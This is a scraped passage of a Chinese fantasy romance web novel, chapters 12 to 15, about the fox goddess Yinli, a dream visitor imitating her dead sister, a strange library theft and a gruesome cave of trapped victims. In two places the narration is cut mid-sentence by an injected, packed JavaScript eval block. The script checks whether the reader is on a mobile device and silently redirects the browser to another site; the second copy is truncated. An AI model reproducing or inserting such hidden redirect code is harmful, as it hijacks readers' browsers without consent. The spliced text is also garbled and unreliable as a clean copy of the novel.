“他们得势之后,无不敬奉月神、供奉神女,然而对他们而言,再怎么大张旗鼓的虔诚,也不是真心敬慕,不过是利用神女,壮自己的声势罢了。 “神女被奉为人间至尊神,固然因其功绩不朽,但这其中,未必没有一些人意图垄断话语权、党同伐异之故。” 12. 第十二章 对君竹的说法,银梨不置可否。 随着年岁的增加,她已经不再像小时候那样认为姐姐被凡人奉为至神是单纯的荣耀,对人间的情感也逐渐变得复杂。 不过,在遇到谢沉霄的时候,她还只算是一只幼狐,没有那么多弯弯道道的想法。 谢沉霄救了她,她真心感谢谢沉霄。 谢沉霄的身世坎坷,她真心感到同情,真心想要帮他。 既然姐姐没有传过什么神命,那就好办了。 为了报答对方救命的恩情,银梨决定插手这档子闲事,为谢沉霄报仇。 彼时,银梨年仅八岁,修为浅薄。 但再怎么年幼弱小,她也是真正的神女之身、神躯仙骨,与肉体凡胎的俗世人有天堑之别。 她想要插手凡间事务,帮助一个凡人的皇子,太容易了。 她公开为谢沉霄助阵,带来了货真价实的神女仙诏,请来凤鸟金龙制造祥瑞。 当谢沉霄离开月东林、再次在群众面前现身时,所有人都看见,在他身畔,有一位货真价实的小小神女,灵姿仙容,气质出尘,手持天女月婵亲授的信物,与谢沉霄形影不离。 当年摄政王怕他夺权编造的谎言,如今真应了验,成了他亲手递到谢沉霄手里的武器,成了谢沉霄用来扳倒他的最快的刀。 在一个人人信仰月神的凡世间,没有什么比这更有号召力了。 在银梨的帮助下,谢沉霄轻而易举地聚敛民心,并顺利召集起一支军队。 有神女站在他们这一边,谢沉霄的军队士气惊人,将摄政王的部下吓破了胆,竟一路战无不胜、所向披靡。 只花了十年,谢沉霄便重返儿时居住的金阙龙楼,登基成为帝王。 谢沉霄二十一岁生辰那天夜晚,他带银梨登上望月国皇宫最高的宫阙楼台,在雕栏玉砌的楼阁最高处,眺望整个江山。 那一夜,星辰浩瀚,天月皎洁。 谢沉霄静静地站在银梨身侧,看着她欢喜地趴在玉栏上,一双狐耳竖得老高。 那时候银梨的凡间经历还很少,那是她第一次长久停留在人间,也是第一次独自在人间完成如此功绩。 她很开心,兴致勃勃,她还没有玩够,左顾右盼,看什么都新奇,在她心中,这个江山有她的一部分。 谁知,她一回头,正撞入谢沉霄深邃的乌眸中。 银梨这才发现谢沉霄一直在看她,比平时更少言。 “……怎么了?” 银梨疑惑。 十多年过去,谢沉霄已然长大成人。 青年人的轮廓棱角已显,修长卓立,冷毅清俊。 身为帝王需要威望,他没有刻意抗拒成长,不知不觉便高大挺拔。 然而银梨,长到十三四岁,由于仙躯神骨,她的外表变化速度迅速减缓,最近两年已是近乎停滞。 两人实际不过差了两岁,现在外貌竟有了年龄差距。 年少时不明显的仙凡之别,随着时光流逝,越来越难以忽视。 “银梨。” 谢沉霄轻轻唤了她的名字。 他问:“你可不可以不要那么快离开?我希望你继续留下来,留在……我身边。” ………… …… 回忆在脑中荡了一圈,很久以前的事了,竟清晰依旧。 等回过神来,两人已经快回到月宫了。 银梨转头去看磬言,却见对方认真地注视着自己,就像知道她心里在想什么似的。 银梨微微一怔—— 她方才应当只是在自己回忆,并未将往事说出口吧? 银梨问:“怎么了?” 磬言笑道:“我在等。” “等什么?” “若公主想要倾诉的话,我便会在这里听。” 磬言神态认真,倒像是这么回事似的。 银梨好笑道:“又不是什么有趣的事,说了也没什么意思。” 言罢,银梨定了定,将思绪从与谢沉霄的往事上撇开,回到现状上。 她说:“不谈我的事了,比起这些,现在银月城的安危更重要。 “尽管谢仙君方才赶来很及时,但那样规模的小邪祟群确实很罕见,说不准它们途径之地会不会有损失伤亡。 “你熬了一夜,先回去休息吧。与君竹换班的时候,你跟她说一声,让她去调查这群小邪祟的来历特征以及造成的损失情况,尽快将报告呈给我。” “……是。” 磬言一凝,方应了下来。 他看上去仍有些在意谢沉霄的话题,不过银梨既然这样说,他也没有再追问,听话做事去了。 * 回到月宫,银梨一头便扎进书房里。 自被困鬼阵后,银梨足足半个月没有回月宫,待处理的琐事果然堆积成山。 她看着如山高的文书,深深叹了口气,便埋首进去。 这一埋,就是一整天。 中间,君竹来送了一次文书。 原来是她将清晨那起小邪祟群入侵的事件调查汇总好了。 君竹做事一贯严谨细致,从清晨到现在不过三四个时辰功夫,她已将那小邪祟群的特征来路都详细调查了一番,梳理得一目了然。 文书中甚至还附带了地图,君竹将查到的小邪祟最早的现身之处、行进路线和数量增减情况都在地图上做了标注,清晰明了。 尽管灵地被小邪祟之类的邪物攻击已是常事,但这一次规模实在是大,而且小邪祟入侵的时机也让她有些微妙的感觉,说不清具体原因,但银梨总觉得放心不下。 银梨呷了口茶,搁下其他事,拿起这份折子仔细研究。 谁知这一看,倒真发现了一些有问题的地方。 银梨眉头紧锁,迅速做下几处批注,在心里想着,等明日要去与青霜商量。 忽然,一阵冷风吹过,寒凉刺骨。 银梨下意识地抬头,却见书房的门不知何时被风吹开了,两页窗大敞着,微微摇晃。 ……今晚风这么大吗? 银梨隐隐有些不适,可又说不上来哪里不对,往窗外看看也并未发现异状,便只将窗牖合上,回到桌亲继续看文书。 ………… …… 银梨醒来的时候,周围雾蒙蒙的。 她睡着了吗?何时? 正疑惑着,忽然,银梨感到,有个熟悉的女子身影正在轻轻抚摸她的头。 女子乌发若云,修眉雪肤,白衣飘然若流霞倾垂,仙姿玉骨,明眸望她总带三分笑,不似世间人。 不是神女月婵,还会是谁? 银梨简直不敢相信自己的眼睛。 “……姐姐?” 她曾无数次在梦中见到姐姐,可大抵是恐惧太过根深蒂固,梦中姐姐的身影从未为她停留。 眼前的景象太过真切,银梨甚至一时分不清这里是真实还是梦境,恍惚间,好像关于现实的记忆,才是她不小心做的一个噩梦。 姐姐将她抱入怀中,怀念地道:“银梨,我的妹妹,不知不觉,你都这么大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17016367|194197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 银梨眼眶一烫,几乎要落下泪来,已不自觉地将脑袋整个往姐姐身上贴去,耳朵撒娇地往后靠,即使知道多半是梦,她也忍不住要贪恋这半刻温暖。 神女问她:“一转眼,你也到可以考虑终身大事的年纪了。银梨,你现在可有心上人?” 银梨觉得这梦中姐姐的问题有些奇怪:“姐姐,你怎么问这个?” 神女只是微笑,道:“白日,你不是见到那位望月城的谢仙君吗?你应该知道,他对你有些情谊,未来如何,只看你的意思。” 银梨微微迟疑。 难不成是因为白天见到了谢沉霄,才会做这样一个梦吗? 银梨垂眸,说:“我与谢仙君的过往,姐姐你都清楚。事到如今,三言两语,已说不清。” “说不清吗……” 姐姐闻言默了片刻,大抵是看出她没有太多情绪长谈,没有继续追问,只是抚摸她的手愈发温柔。 “说来。” 姐姐的声音放轻了,柔和似水。 “我听说你最近从一个邪鬼的鬼阵中逃了出来,你能窥破那邪鬼的幻境,真不了不起。” 银梨下意识地谦虚:“其实也有运气的成分。” 周围的白雾浓了起来,梦境愈发朦胧,脑袋好像正在陷入睡眠深处,昏沉了起来。 姐姐道:“我能再问一个问题吗?” “什么?” “……那个邪鬼,究竟是哪里露了破绽?” 银梨已经觉得非常困了,梦里的姐姐问题有点奇怪,但这也不是什么不好答的事。 她回答:“姐姐,那个邪鬼的幻境很逼真,只是有一个细节,它无论如何都想不到。” 姐姐疑问地看着她。 银梨道:“世人结亲,是为繁衍。若是仙神,虽不为繁衍,却也没有全然斩断七情六欲。 “然而邪鬼,是没有这些感情的,本来便是死物,何来繁衍之欲呢? “所以,它不懂这世上的婚俗,只会见表象而模仿,却不知内里。” 姐姐好像还是没有很明白。 银梨想了想,示意姐姐将脸凑近一些,她爬过去,在姐姐耳边道:“新婚之夜,它不懂……” 银梨用极低的声音,嘀咕了几个字。 姐姐一动。 接着,姐姐望着她的眼神,莫名充盈了某种深邃而复杂的意味。 “原来如此。” “她”轻轻抚上银梨的脸。 “这便是世人真正的‘婚礼’。你若与其他人成婚,便会如此为之吗?” 银梨已经很困,“姐姐”的声音很轻,而且好像变得有些低沉,不太听得清了。 最后,她听见有“人”道—— “既然如此,只要学会此事,我与其他人,便无差别了吧?” ………… …… 银梨醒来,发现自己在书房的小榻上睡着了,身上还盖着毯子。 脑袋昏沉,她对自己是何时睡去,又是如何睡到榻上来的,没有半点记忆,只隐约觉得昨夜好像做了什么梦,可梦的内容却记不清楚。 外面有吵闹之声。 银梨刚坐起身,便听到一阵敲门声。 银梨应道:“进来吧。” “公主!” 走进屋的人,是君竹,她神色有些焦急。 银梨问她:“出了什么事,外面好像有点吵?” 君竹立即道:“公主!出了很奇怪的事!银月城藏书库的内室,昨夜被盗了!” 13. 第十三章 银梨赶去议事堂时,青霜已经在了。 他正在与一个月宫弟子说话,神情严肃。 青霜见她过来,对她浅笑了一下,示意她过去。 银梨一眼认出,站在青霜身边的月宫弟子名为温笥,不过她与青霜都叫他“阿笥”。 温笥过去曾像跟在银梨身边的君竹那样,跟在青霜身边修炼过,为人稳重可靠,值得信任。 他从青霜身边调走后,在银月城中担任守备要职,这回大抵是因为藏书库失窃与守备之责有关,他也赶来应对。 温笥已不太来月宫露面,但在月宫弟子中,他算是与银梨青霜兄妹相熟的,银梨对他有些了解。 三人互相打了招呼,银梨当即切入正题:“书库失窃,是什么时候的事?丢了什么?” 温笥回答:“进书库边走边讲吧,一言难尽。” * 藏书库从外面看斗角飞檐,巍峨屹立。 温笥用钥匙开了门,纸墨气味扑面而来。 书库失窃,此事根据实际情况,其实可大可小。 月神去世之后,凡间沦陷,大部分城池沦为尸骨堆砌之地,文明失落,生灵朝不保夕,在这种情形下,知识与文化自然成了难以保留的奢侈品,书籍大量失传,变得十分难得。 银月城藏书库中的藏书,皆是月宫弟子从各处搜罗汇集、在灾厄中幸免于难之物,在如今的世道中,是稀罕物件。 书籍珍贵稀少,连带着保存它们的藏书库,都成了庄重要紧之地。 尽管出于文化延续的考虑,银月城允许百姓进入藏书库阅读,但对书籍的管理极为严格,为了防止书籍损坏流失,几乎不允许外借。 银梨很容易就想到,月宫中如此喧嚷,大抵是丢了什么价值连城的东西。 银梨率先进入藏书库中。 她走在最前面,另外两人都跟在她身后。 失窃事件发生之后,藏书库已被封闭。 此时库中既无人气,亦无光源,只有一重一重笨重的书架被笼罩在幽暗的阴影之中,人在其中行走,脚步声会有闷闷的回响,寂静得让人感到阴郁。 哪怕是在太阴星庇护之地,这样的氛围,难免仍有阴森之感。 温笥向银梨介绍情况:“藏书库失窃是在后半夜,大约寅时到卯时。 “这阵子银月城的守备完全正常,书库同样戒备森严,并无疏漏。 “据昨晚值守藏书库的弟子说,那天晚上他并未觉察藏书库中有过任何动静,一切正常,反而比平时还安静些。 “但今早换班弟子检查的时候,发现书库的所有禁制都被解开了,甚至连放置最重要的修炼秘籍和月宫阵法图的内室,都未能幸免。 “如此异常的失窃,实在像是鬼物所为。” 银梨点了点头,表示知晓。 在灵城里,任何与鬼怪相关的异状都是大事。 灵地最重要的作用就是隔绝邪气,在灵地之内,绝不该有鬼祟作乱。 在过去,有不少灵地就是屏障有漏洞,给了鬼怪可乘之机,从而导致覆灭。 更别提这回失窃的是银月城最紧要的藏书库,连放了月宫布阵图的内室都被打开,难怪直接就报到了她和青霜这里。 银梨问:“那么,最后书库中丢了什么?布阵图?” 温笥忽然犹豫:“这……” 他欲言又止,求助地看向青霜。 青霜看起来是已经知道了,表情颇为无奈,只道:“你直说吧。” 温笥这才开口:“丢的东西很是奇怪。 “昨夜明明所有的书库都被打开了,但重要的古籍秘籍,甚至是月宫和各大灵地的阵法图纸都没被动过,反而是很多与婚俗有关的民俗民事记载不见了,另外……还丢失了大量的房.中.术秘籍。” “……啊?” 银梨怀疑自己听错了。 她又问了一遍:“丢了什么书?” 温笥硬着头皮:“婚俗记载,以及房中秘术。” “……” 婚俗…… 和…… 房……中……秘术……? 银梨脑袋突然一片空白。 她本来也在担忧是鬼物作怪,因此十分严肃,但听到这里,不由开始怀疑自己小题大做。 鬼怪不是活物,不需要繁衍,根本连所谓的人欲都不会有……什么鬼会专程跑来偷这种书? 刚这么想着,银梨脑便像小针扎似的刺痛了一下,隐约闪过一些昨夜做梦的片段。 梦境内容大多想不起来,但朦朦胧胧的,这些失窃的书籍,和她昨晚做的梦,好像有什么地方合得上。 ……巧合吗? 银梨试图想了一下,但昨晚的梦做得昏沉,早上醒来已忘记大半,实在说不清了。 现在大抵也不是执着于虚幻梦境的时候。 银梨定了定神,振作精神,决定谨慎调查一下。 尽管这些书不像是鬼怪会偷的,但世事无常,不能轻易下结论。 银梨继续往里走,先去了有书籍失窃的书库,又仔细检查了被打开的禁制。 青霜一直跟在她身后几步的位置,有些彼此维护的意思,以防不测。 见银梨停下,青霜凑过来问:“怎么样?” 银梨摇了摇头:“没有留下多少可供判断的痕迹……单看表象,是很像鬼祟的行径,但是,没有直接的证据。” 银梨又走了一圈,着重检查了放有各地布阵图的内室,结果线索更少,无功而返。 这样的收获,无疑很难给出确切论断。 银梨想了想,交代温笥道:“禁制被解开的样子确实不对劲,但我并未感觉到任何鬼气,要说一定是鬼怪之行,似乎未必。 “你后续调查时,先不要排除人为。有鬼怪在灵地之内固然可怕,但若是有人能这样神不知鬼不觉地打开藏书库内室的禁制,也绝不可放任自流。 “尽管月宫和银月城的布阵图没丢,但以防万一,明天我会重新设计布局一遍,保证安全。 “至于藏书库的禁制,等下我和青霜亲自补一遍,这样想来应该很难再发生同样的事了。” 银梨的处理已经十分妥当,温笥听闻银梨和青霜会亲自补上藏书库的禁制,果然大为安心,长出了一口气,连忙称是。 * 补上禁制不难,银梨与青霜一左一右,同步出力,马上就完成大半。 只是两人协力时,还有一个人就在两人身侧,探究地看着他们。 温笥与银梨、青霜兄妹,已经相识许多年了。 “哥哥,左边。” “知道。” “前,注意。” “好。” 银梨与青霜多年来形影不离,配合几乎不需要言语。 等布阵结束,她一回头,便见温笥用一种慈爱的目光望着她与青霜。 银梨:“?” 温笥回过神来,笑道:“少君与公主果然还是和以前一样,见了一个,就一定能见到另一个,一如既往的形影不离。 “难怪月宫中人人都说,你们比一般兄妹感情要好。” 温笥话中俨然有戏谑的意思。 银梨一顿,便看明白了,道:“这么多年,习惯了。” 她回望青霜。 青霜笑,也回望她,目光温润如水:“我与银梨一起长大,本是兄妹,理应如此。” 温笥的目光在两人身上游移,试图瞧出什么端倪。 这兄妹俩好像也不是没听出他话中的调侃,但都不解释,一副镇定自若的泰然之状,让人十分拿捏不准。 温笥泄气。 他知道这对兄妹感情深厚、默契十足,旁人很难从他俩口中套话,只得放弃。 只是,心里还是有如猫挠。 眼前二人亭亭而立,宛如成套的人偶。 兄长君子端方,妹妹钟灵毓秀。 青梅竹马,两小无猜。 还是神女月婵用相配的神玉雕刻而成,两人皆外貌清美,品行玉成,这才真叫成双成对,珠联璧合。 两人说是说兄妹相称,但实则并无阻碍,反而更显他们感情深厚,格外般配。 这么好的一双璧人,如此朝夕相伴、心有灵犀,当真只把对方当姐妹兄弟吗? 温笥越想越觉得离奇。 月宫弟子中与他作同样想法的人不少,怎么看这银月城的城主与副城主都是金童玉女、天造地设的一对姻缘,如此天作之合,世间少有。 许多人都在暗中观察,期待进展。 实际上,温笥本以为自己跟随青霜期间,应该就能看到开花结果了。 奈何人算不如天算。 这些年,他从随行弟子晋升管理银月城守备,调离月宫,后又晋为银月校尉,官场上步步高升,扶摇直上。 但这兄妹两人,这么多年过去了,竟真的一点动静都没有! 怎么会这样! 温笥面上笑得得体,内心却在捶胸顿足,直叫可惜。 银梨迎着温笥灼热的目光。 其实这些月宫弟子心里在想什么,银梨也猜得到大半。 只是可惜,她与青霜虽感情深厚,事实却与他们想象得有大区别。 布阵结束后,银梨就与青霜不同向温笥告别。 他们两个人设下的阵法,普天之下都很难找到有谁能打开了。 尽管未能抓到罪魁祸首,但此举,已足以减少大量隐患。 在温笥的千恩万谢中,银梨与青霜一同返回月宫。 待走出藏书库有一段距离了,青霜忽然脚下一软,银梨连忙搀扶住他。 “多谢。” 青霜借着银梨的手臂撑起身体,感激地道。 “若不是你跟我一起来,我一个人真是够呛。” 银梨笑言:“这算什么,我们多少年的兄妹了?” 有一件事,这世上除了银梨,没有人知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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银梨曾经问过,青霜为什么这么怕鬼。 青霜回答:“我也不太清楚,似乎是本能使然。我总觉得周围暗处会有什么东西,让我毛骨悚然。” * 回到月宫,银梨并未马上告别,反而和青霜一同进了书房,道:“哥,我还有别的事找你。关于昨日清晨攻击城西屏障的那群小邪祟的报告,你看过了吗?” 青霜自然看过了,点了点头,只是他不知银梨为何特意提起,问:“那份报告,有什么问题?” 其实银梨也不太确定,她昨晚不知怎么的睡了过去,思路有点断裂,但是,实在有些地方让她感到不对劲。 她晃了晃头,让自己集中精神。 银梨说:“你等等,我拿地图给你看。” 银梨拿出两份文书,摊在桌上,其中一份是君竹刚送来的小邪祟群的调查,附有地图。 银梨指着两份文书,说道:“这两份文书,一份是君竹今日的汇报,还有一份,是二十天前,一位月宫弟子在城东二百里外偶然目击了一群小邪祟的汇报。 “但当时那位弟子只有一个人,无法应对小邪祟群,便选择了先返回银月城,将此事上报,再带人去处理。 “这两份文书都记录了相关小邪祟群的特征,我经过比对之后,发现这两次,很可能是同一群小邪祟。” 青霜听着,不由蹙起眉头,显然也觉察到了一些异样。 银梨道:“二十天前那位弟子,等她从银月城带了人返回时,那群小邪祟已经找不到了。 “众所周知,小邪祟是非常低等的鬼物,不过就是邪气的碎片罢了,没有思维,只会不断追逐、吞噬活物,行为极易预测。 “那位弟子从目击小邪祟群,到从银月城折返,中间不过几个时辰,实在不该找不到。 “直到我在月东林失去意识前,她都还在搜寻小邪祟的踪迹,但未有结果。直到今天早上,这群小邪祟竟在城西出现,而且规模比二十天前大了很多。” 说到这里,银梨神情变得格外严肃。 “按照常理推断,按照小邪祟的一贯行为,它们最初在银月城东面出现,那么它们应该没多久就会从东面笔直地入侵过来。” “然而,事实上这群小邪祟在有人去找它们时,直接消失了二十天,并且不断壮大自身。直到二十天后,正好我出事、银月城大量月宫弟子被调去月东林,防范最薄弱之时,它们才出其不意地从城西入侵。” “我不知道哥你怎么想,但我越看,越觉得奇怪。” “这样的行为,就像它们本来打算从城东入侵,但发现被人察觉以后,选择了刻意回避,蛰伏蓄力,并且一直在暗中观察。” “它们就像一直在寻找守备最松懈的时机,就在我刚刚苏醒、银月城守备尚未全部从月东林调回、众弟子以为事情告一段落刚松了口气的时候,一举在清晨袭击。” 银梨深吸了口气—— “小邪祟之流,弱小愚笨的乌合之众罢了,而今竟能有这般举动,甚至专挑我气力虚弱、银月城防卫较为薄弱之时前来,粗看像有过策划预谋一般……难道全然是巧合吗?” “我担心……会不会有什么东西,在暗中引导命令它们,甚至有可能,可以直接操控邪鬼。” 14. 第十四章 青霜听了,同样倒吸一口冷气。 若银梨的猜测属实,那太过可怕。 银梨说的那份二十天前的文书报告,青霜也有印象,只是手头事情多,他没有将两者联想起来,更未仔细比对。 其实银梨的说法,也是猜想为多,并没有实际根据。 只是,在这个邪鬼日益壮大的世道,骇人听闻的前例太多,青霜也不能轻易将银梨的担忧当作单纯的杞人忧天。 青霜道:“确实,不怕一万就怕万一,既然你有这个忧虑,这段日子,我们可以先让一部分弟子多关注附近小邪祟的情况,若有异常立即上报,尽早准备。” 他顿了顿,又安慰道:“不过,你也不用凡事都往坏的方面想,或许运气没有那么差,只是偶然而已。 “况且姐姐去世以后,邪魔鬼怪强势年过一年,尤其是近十年的攻势尤为严峻。 “邪鬼的能力甚至才智本就是年年上升,便是这回邪鬼群数量更大、更难缠,也不算什么怪事。 “今后,多半还会有更麻烦的鬼怪出现,世道已是如此。” 银梨抿着唇,不敢掉以轻心。 既然对策已经敲定,两人又商议了一些细节。 银梨来找青霜本就是为这件事,待说完,本要离开,但刚走了两步,她步子一停,又想起什么来。 “对了,哥,有一件事,我好像还没跟你说过。” “什么?” 银梨浅摁了下太阳穴,道:“在月东林那个邪鬼造的梦里,我好像见到姐姐了。” “——!” 青霜震惊。 “这怎么可能?!” 银梨其实早想和青霜聊聊这个了,但醒来以后,她对鬼阵梦境中的内容记忆变得有些朦胧,后来二人的注意力都被放在鬼信物上,一时也就没找到机会。 昨晚那个记不起内容的梦,勾起了银梨对此事的印象,让她此时提了出来。 果不其然,青霜听了,也吓一大跳。 他道:“姐姐是神容天骨,外人难以悟其精髓,怎能轻易做出与之相似的幻象? “更何况,幻境无法重现施术者不了解的事物,世上本就没有多少人见过姐姐的真容,区区一个邪鬼,更不可能与姐姐有什么交集,怎么可能仿照得惟妙惟肖,连你都觉得相似?” 银梨眼睑微垂。 青霜所言,正是她感到古怪的地方。 银梨说:“我怀疑那个邪鬼……有能力窥探入梦者的想法。不过,应该不是全部,如果刻意隐瞒,还是可以瞒过它的。” 若她的心思当真在那个邪鬼眼中一览无余,银梨只怕根本没法从那个鬼阵中出来了。 但即使如此,也已经足够惊人了。 银梨现在回想起来,梦中的那位“姐姐”,不仅形容相貌、举止性情,连一些不经意的小动作都和真正的姐姐一模一样。 只怕直接把“她”从幻境中带出来,和现实中的姐姐放在一起,银梨都要花一些时间才能分出真假。 正是因为那样真实,才会连银梨,都忍不住想要留在那个幸福的梦里。 而且,现在回想起来,在那个梦境中,所有村民都面容模糊、性格平庸,一眼望去千篇一律,留不下印象。 唯有姐姐,那般鲜活,栩栩如生,与真实的神女月婵,别无二致。 在那个梦里,邪鬼将姐姐的身份改为了银梨的亲姐姐,还将姐姐也变成了九尾狐,这些与现实不同,想来是为了配合狐狸村背景之故,但除此之外,那就是神女月婵无疑。 这真是区区一个邪鬼,仅凭窥探她的记忆,就能做到的吗? 而且,为何梦中明明有姐姐,却没有青霜,没有谢沉霄,没有其他与她亲近的人。 唯有姐姐一人,被塑造得那般真切? 如此一想,银梨便头痛起来。 她与青霜讨论片刻,但两人仍旧商量不出什么头绪,只得先行搁置。 银梨道:“最近异状太多,无论是小邪祟群的异动,还是月东林邪鬼,都是过去从未有过的状况。 “邪气当道,鬼邪之能远胜从前,以后,我们唯有分外小心了。” * 从青霜书房出来,天色已暗。 银梨一跨出门槛,便瞧见磬言。 他手里提着盏灵灯,微笑着隐在阴影下,不知静静地等了多久。 银梨意外道:“你已经与君竹换班了?来得这么早?” 磬言笑答:“还好,君竹师姐这些天也颇为疲倦,理应多歇息。” 他走到银梨身畔。 “我来替公主掌灯,送公主回清辉殿。” 银梨看他的架势,问:“你今晚也打算守夜?” 磬言一本正经地点头:“当然,这是我的职责所在。” 经过前些日的夜晚,银梨大致已能猜到,就算她让磬言回去,恐怕磬言也会自己折返回来,自行守在院中。 银梨轻叹了口气,便没说什么,算默默接 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到第三天,银梨判断这不是一个正常情况,决定主动解决此事。 她唤来君竹与磬言二人,交代道:“我打算进洞冥想,你们留在外面,若有什么情况,便去找青霜。” 君竹与磬言皆称是。 银梨一扭头,化成狐狸回到自己的月梨花树洞里。 她将九条狐尾整整齐齐地盘到身前,绕住身体,将头放到尾巴上,闭上双眼,既是休息,也是进入冥想状态。 ………… …… “银梨……” “……银……” “……小……心……” 身体好重…… 好沉…… 耳边……是谁在说话? 莫名的钝痛之中,银梨艰难地睁开双眼—— 眼前是一望无际的黑暗。 难以形容的恶臭弥漫了空气,脚底似乎有某种黏腻、浓稠的液体在缓慢地流动,漫到了她身上,浸湿半边毛发。 身体像注了铅一样沉重,银梨费了半天劲,才勉强支起身体。 ……这里是哪里? 银梨头痛欲裂。 然而她环顾四周,发现自己居然身处一个完全陌生的地方。 15. 第十五章 中间的记忆,像被强行掐断了一样。 银梨试图回忆自己到这里来之前的事,然而思维像被什么强行封住,只到她入洞冥想为止,一旦试图继续深入,头脑就会像被撕扯一般剧痛。 银梨定了定神。 好在姐姐离世以后,世间怪事层出不穷,鬼怪的手段日新月异,她早不是第一次遇到这种异常,不至于让她乱了手脚。 事到如今,唯有一探究竟。 银梨让自己保持冷静,然后催动神力,在眉心前方点起一团灵火。 与神女相似的气息,在银梨眉心前三寸亮了起来。很小的一团光火,飘浮在空中,将周围照亮。 银梨沿着眼前的道路,向前方走去。 滴答,滴答,滴答…… “银梨……” “……小心……” 嘶嘶……嘶嘶…… 杂音不断响起。 复杂的噪声掺着虚弱的人声,混合在一起,像一支无序的奏曲,加重了银梨的头疼。她试图分辨其中的话语,但始终未果。 银梨所处的地方,好像是一个深邃的洞穴。 狭窄的通道,仅仅正好能容纳银梨人身这般身高的女子通过,再高一寸,就要碰到湿腻的壁顶。 四周的洞壁,是绵软的,有着令人不舒服的暗红色,踩下去会有种身体下沉的不踏实感,像一脚踩进了沼泽;而两侧的软壁,如果用力触碰,还会像虫子的皮肤一样缓慢蠕动。 脚底粘稠的液体,随着这种蠕动向前流动,散发着浓烈的、腐烂的臭味。 银梨觉得,这脓液的气味、色泽都像是粪水。 但具体是什么,只借灵火难以分辨。 银梨双腿泡在这里面,实在有点抗拒去细想,只能继续往前走。 污水一直在上涨。 银梨苏醒是狐身,为了不被水漫过,她很快化成了人形。 可即使如此,污水还是迅速到达了小腿。 洞穴很深,每走一段,就会分裂出岔路。 银梨没有线索,只能凭着直觉先走,一边摸索往前,一边寻找规律。 只是,前面的路似乎一直在变得更窄、变得越来越难以前进。 那柔软的洞壁还会分泌粘液,腐臭的液体不停地从顶上滴落,如果银梨不小心摸到两侧,就会沾上一手。 银梨强忍着恶心,一边尽力不去碰周围,一边继续寻找出路。 一条路走到底了,是个死胡同。 洞穴的底部黑漆漆的,什么都没有,只有最深处的壁面上有个大鼓包,像血管上鼓起的肿块,但足有一只羊的大小,还会像心脏似的不断跳动。 银梨隐约有种不舒服的感觉,不欲久留,便打算折返。 “呜噫……呜呜……” 然而这时,她听到身后有闷闷的声响,似乎是从那个鼓包中传来。 银梨犹豫片刻,提起十二分精神,走过去,尝试检查那个鼓包。 鼓包比想象中脆弱,银梨试着扯了一下,竟然就轻松地撕开! 外膜破裂,大量的恶臭伴随着脓液从中喷涌而出,淌了银梨一身。 接着,从鼓包的最里面,竟然滑出来一个小女孩! 这小姑娘顶多四五岁,只是普通的、随处可见的凡人,但四肢和脸都受到了严重的腐蚀,看上去惨不忍睹。 她不知道被困在这里多久了,出来的时候还有一丝意识,空洞地抬起眼皮看了银梨一眼,便泄了力,没了动静。 银梨内心涌出极不好的预感。 这其实不是她第一次在这个长长的洞里看到类似的鼓起了,只是应对危机的本能让她不会乱碰未知之物,所以之前没有试着撕开过。 ……这里还有其他类似之物?还有多少? 银梨心下一沉。 她背起只剩半口气的小女孩,加快步子,马上往回走,并且有意识地寻找藏在洞穴中的鼓包。 又挑了几次岔路,银梨再次走到一个死路里,底部同样有一个鼓起。 这次银梨没有纠结,直接撕开。 里面滑出一个月宫弟子。 他已经死了,恐怕断气已久,残躯已经腐到了骨头,唯有身上的衣裳没事,能用来辨识身份。 银梨果断翻了他身上的腰牌,发现是半年前失踪的一个弟子。 银梨甚至对这个人有些印象。 她记得,这个弟子原本是要赴天水城办事,但本应抵达天水城的日子却没有传信回来,其他人去找,发现他在途中就没了踪迹,此后便无音讯。 ……原来是在这里。 思绪骤然安静。 月宫弟子有上万人,银梨对其中大多数都没有深刻印象。 不过,这个人,银梨记得青霜夸过他好几次,应该是温笥的再传弟子。 青霜说他年纪虽轻,但生性乐观,志向远大,这年头还爱说爱笑的人已不多见,就算修炼天赋只算中上,有如此心性,仍是未来可期。 在银梨为数不多的记忆里,他似乎是个颇为吵闹、废话极多、活蹦乱跳的年轻人。 这种性子,若在和平年代,或许会有点招人嫌,但在这个世道,实属难得,时不时看看,倒觉得颇有生气。 然而,如今,那张笑起来有两个大酒窝、没心没肺的脸上,已经只剩下四个空落落的大洞。 银梨看不出他最后一刻的表情本该是什么样的了,只余下的这四个洞,组合在一起,像凝滞在了一个极为惊恐的瞬间。 滴落的粘液声,淅淅沥沥,像孤寂的雨声。 多年来,银梨已历惯了生离死别,但每每重复,胸口仍有钝痛。 银梨沉默地取下他的腰牌,藏入袖中,然后将残躯尽量放到高处,这样不可能完全避免污水,仅仅是尽力保存一些他的尊严。 银梨转回头,继续寻找出路。 接下来,她走了很长一段路,走了很久。 其中有过几次死路,里面大多数都早是白骨,唯一还有气的,是一只一息尚存的穿山甲。 这穿山甲应有些修为,但已经发挥不出来了。 它紧紧团成了一个球,可能是坚硬的鳞片保护了它,总之勉强还活着。 银梨将穿山甲也揣在了身上,继续走。 “银梨……” “小心……” “这里有……” “有……” 嘶嘶……嘶嘶嘶…… “参见……参见……” 一直回荡在银梨耳边的杂音,变得越来越大了。 前方的路深不见底,异响似乎就是从深处传来,听上去像是大雨的瓢泼声里,有三四个人在轻轻地讲话。 在这里面,又有一个人声,逐渐凸显出来,变得格外清晰。 那是一个低哑的男子之声,空灵,而且隐隐让银梨觉得耳熟,只是不像正常的发声状态,所以始终没有分辨出身份。 在众多的杂音当中,只有这个人声,始终在坚定不移地提醒银梨危险。 银梨现在没有任何找路的线索,便决定顺着这个声音所在的方向走。 银梨在心里粗略估计着时间,大抵过了两三炷香的功夫,她又进了一个死路。 那个提醒的声音,大到近在眼前。 银梨此时已经十分熟练,她将小女孩和穿山甲都先放在安全的地方,就过去撕肿块。 